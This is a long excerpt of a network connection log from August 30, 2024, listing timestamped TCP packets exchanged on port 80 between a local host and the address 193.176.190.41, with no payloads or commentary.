Aug 30, 2024 18:13:04.017086983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017096996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017107964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017127991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.017153025 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.017211914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017254114 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.017347097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017359018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017369032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017379045 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017390013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017391920 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.017406940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017417908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017420053 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.017430067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017432928 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.017460108 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.017482996 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.017807961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017818928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017832994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017848969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.017858028 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.017870903 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.017896891 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.074312925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074341059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074353933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074379921 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.074403048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.074485064 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074497938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074510098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074521065 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074537039 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.074563980 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.074639082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074660063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074671984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074681997 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074683905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.074695110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074713945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.074738979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.074898958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074911118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074920893 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.074949980 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.074968100 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.076709032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.076761961 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.076788902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.076801062 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.076838017 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.076922894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.076936007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.076947927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.076958895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.076967001 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.076989889 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.077013016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.077172995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077186108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077195883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077205896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077217102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077227116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.077229023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077241898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077255964 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.077272892 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.077296972 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.077413082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077460051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.077555895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077568054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077579021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077589035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077600002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077610970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077613115 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.077621937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.077637911 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.077660084 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.081757069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.081804037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.081806898 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.081816912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.081844091 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.081855059 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.081928015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.081940889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.081952095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.081968069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.081970930 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.081995964 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082019091 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082139969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082151890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082163095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082174063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082189083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082190037 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082201958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082214117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082216978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082225084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082236052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082236052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082253933 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082287073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082468033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082480907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082489967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082515955 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082528114 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082560062 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082578897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082588911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082600117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082604885 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082612991 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082623959 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082626104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082637072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082648039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082648993 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082670927 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082684040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082922935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082936049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082951069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.082976103 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.082988024 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.083067894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083080053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083090067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083101034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083112001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083122969 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.083149910 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.083230019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083241940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083252907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083264112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083273888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083278894 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.083293915 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.083312035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.083499908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083512068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083522081 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083532095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083543062 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083554029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083556890 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.083564997 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083575964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083586931 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.083586931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.083605051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.083626032 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.103352070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103364944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103374958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103388071 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103450060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103461981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103539944 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.103539944 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.103540897 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.103540897 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.103585958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103599072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103610039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103621006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103631020 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.103640079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.103667021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.103781939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103796005 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103806973 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103816986 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103826046 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.103840113 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.103866100 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.103921890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.103965044 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.104015112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104027987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104038954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104049921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104049921 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.104062080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104070902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.104074955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104087114 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104090929 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.104115963 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.104124069 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.104419947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104432106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104441881 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104454041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104465008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104466915 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.104475975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104496002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.104513884 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.104513884 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.104526043 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.161046982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161078930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161089897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161161900 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.161170006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161184072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161195993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161216021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.161247015 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.161353111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161365032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161376953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161392927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161395073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.161422968 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.161448956 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.161564112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161576033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161587000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161597967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161607981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.161611080 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.161648035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.163472891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.163496017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.163506985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.163527012 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.163564920 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.163598061 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.163609982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.163644075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.163656950 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.163691998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.163703918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.163729906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.163738012 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.163743019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.163767099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.163800955 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.164001942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.164014101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.164024115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.164033890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.164045095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.164047003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.164062977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.164089918 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.164252043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.164263964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.164274931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.164285898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.164294004 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.164299011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.164309978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.164330006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.164341927 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.164473057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.164500952 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.164525032 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.164540052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.168507099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.168526888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.168536901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.168565989 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.168577909 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.168664932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.168684006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.168706894 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.168716908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.168719053 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.168730974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.168757915 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.168771982 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.168816090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.168828011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.168838978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.168848038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.168854952 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.168867111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.168869019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.168890953 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.168900967 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169045925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169059038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169070005 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169089079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169101954 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169195890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169208050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169219017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169229984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169235945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169248104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169255018 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169261932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169271946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169287920 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169296980 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169477940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169491053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169501066 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169512033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169522047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169523001 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169533968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169537067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169544935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169555902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169574022 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169583082 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169776917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169790030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169799089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169810057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169819117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169822931 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169836044 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169842005 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169848919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169859886 CEST	80	49733	193.176.190.41	192.168.2.4
